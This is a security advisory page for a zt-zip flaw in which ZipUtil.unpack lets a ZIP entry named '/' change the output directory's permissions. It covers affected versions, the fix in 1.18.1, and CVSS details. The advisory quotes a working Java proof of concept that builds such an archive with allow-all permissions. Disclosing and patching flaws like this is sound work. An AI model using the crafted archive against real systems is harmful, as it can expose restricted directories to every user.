MEDIUM · CVSS 4.0 EPSS 0.2% · 5th percentile CWE-23

CVE-2026-63499: zt-zip: ZipUtil.unpack can change file permissions of output directory

Published 2026-11-09 · Updated 2026-11-09 · Also known as GHSA-v2g6-7r9j-v6px

Summary

A flaw in the zt-zip library allows a crafted ZIP file containing an entry that resolves to the output directory itself to alter the directory's file permissions. Developers using the `ZipUtil.unpack` method on untrusted archives should upgrade their dependencies.

Who is affected

When using `ZipUtil.unpack` to extract untrusted ZIP files, an attacker can manipulate the permissions of the target output directory, potentially making a previously restricted directory accessible to all operating system users. This condition requires processing a maliciously crafted ZIP file containing an entry such as '/' that passes path traversal checks.

Exploitability

The vulnerability involves low local attack complexity with no privileges required, but requires user interaction to unpack a malicious archive. It is not currently listed in the CISA Known Exploited Vulnerabilities catalog.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-18. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
Maven org.zeroturnaround:zt-zip >= 0, < 1.18.1 1.18.1 -

CVSS 4.0 vector

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N

Attack vectorLocal
Attack complexityLow
Attack requirementsNone
Privileges requiredNone
User interactionPassive
Confidentiality (vulnerable system)None
Integrity (vulnerable system)High
Availability (vulnerable system)Low
Confidentiality (subsequent systems)None
Integrity (subsequent systems)None
Availability (subsequent systems)None

Base score is not computed for CVSS 4.0 vectors; severity is taken from the advisory.

FAQ

What causes the vulnerability in zt-zip?

Path traversal checks incorrectly permit ZIP entries whose names resolve to the output directory itself, allowing those entries to modify directory properties such as file permissions.

Which software components are affected?

The Maven package org.zeroturnaround:zt-zip is affected in versions introduced at 0 and fixed prior to 1.18.1.

Is active exploitation currently tracked by CISA KEV?

No, CISA Known Exploited Vulnerabilities status is no.

Original advisory description
### Summary When using one of the `ZipUtil.unpack` overloads, the file permissions of the output directory can be changed. For example, when the output directory was only accessible to the 'owner' it could be instead made accessible to every OS user. ### Details When the name of a ZIP entry resolves to the output directory itself (e.g. the name `/`), the path traversal checks permit it and then perform actions on that directory, such as applying the file permissions of the ZIP entry to it. ### PoC This proof of concept requires an OS with support for POSIX file permissions. This issue itself is however not limited to those OS' with POSIX file permissions, see zt-zip's `ZTFilePermissionsUtil.fetchDefaultStrategy` which uses a fallback in that case. ```java // Uses Apache Commons Compress to create the malicious ZIP file // The issue itself is however in how zt-zip processes that ZIP file import org.apache.commons.compress.archivers.zip.AsiExtraField; import org.apache.commons.compress.archivers.zip.ZipArchiveEntry; import org.apache.commons.compress.archivers.zip.ZipArchiveOutputStream; import org.apache.commons.compress.archivers.zip.ZipExtraField; import org.zeroturnaround.zip.ZipUtil; import java.nio.file.Files; import java.nio.file.Path; import java.util.Set; public class ZtZipTest { public static void main(String[] args) throws Exception { Path zipPath = Path.of("permissions-change.zip"); Path outputDir = Path.of("permissions-change"); Files.deleteIfExists(outputDir); Files.createDirectory(outputDir); Files.setPosixFilePermissions(outputDir, Set.of()); // outputs "[]" System.out.println("Permissions before: " + Files.getPosixFilePermissions(outputDir)); createZip(zipPath); ZipUtil.unpack(zipPath.toFile(), outputDir.toFile()); // outputs "[..., OTHERS_EXECUTE, OTHERS_WRITE, OTHERS_READ, ...]" System.out.println("Permissions after: " + Files.getPosixFilePermissions(outputDir)); } public static void createZip(Path path) throws Exception { try (ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(path)) { var entry = new ZipArchiveEntry("/"); // Set 'allow all' permissions entry.setUnixMode(0b1_1111_1111); AsiExtraField extraField = new AsiExtraField(); // Set 'allow all' permissions extraField.setMode(0b1_1111_1111); entry.setExtraFields(new ZipExtraField[] { extraField }); zipStream.putArchiveEntry(entry); zipStream.closeArchiveEntry(); } } } ``` ### Impact Affected are users who use `ZipUtil.unpack` to unpack an untrusted ZIP file.

References

Source records: GHSA-v2g6-7r9j-v6px (OSV.dev) · EPSS by FIRST, 2026-11-26.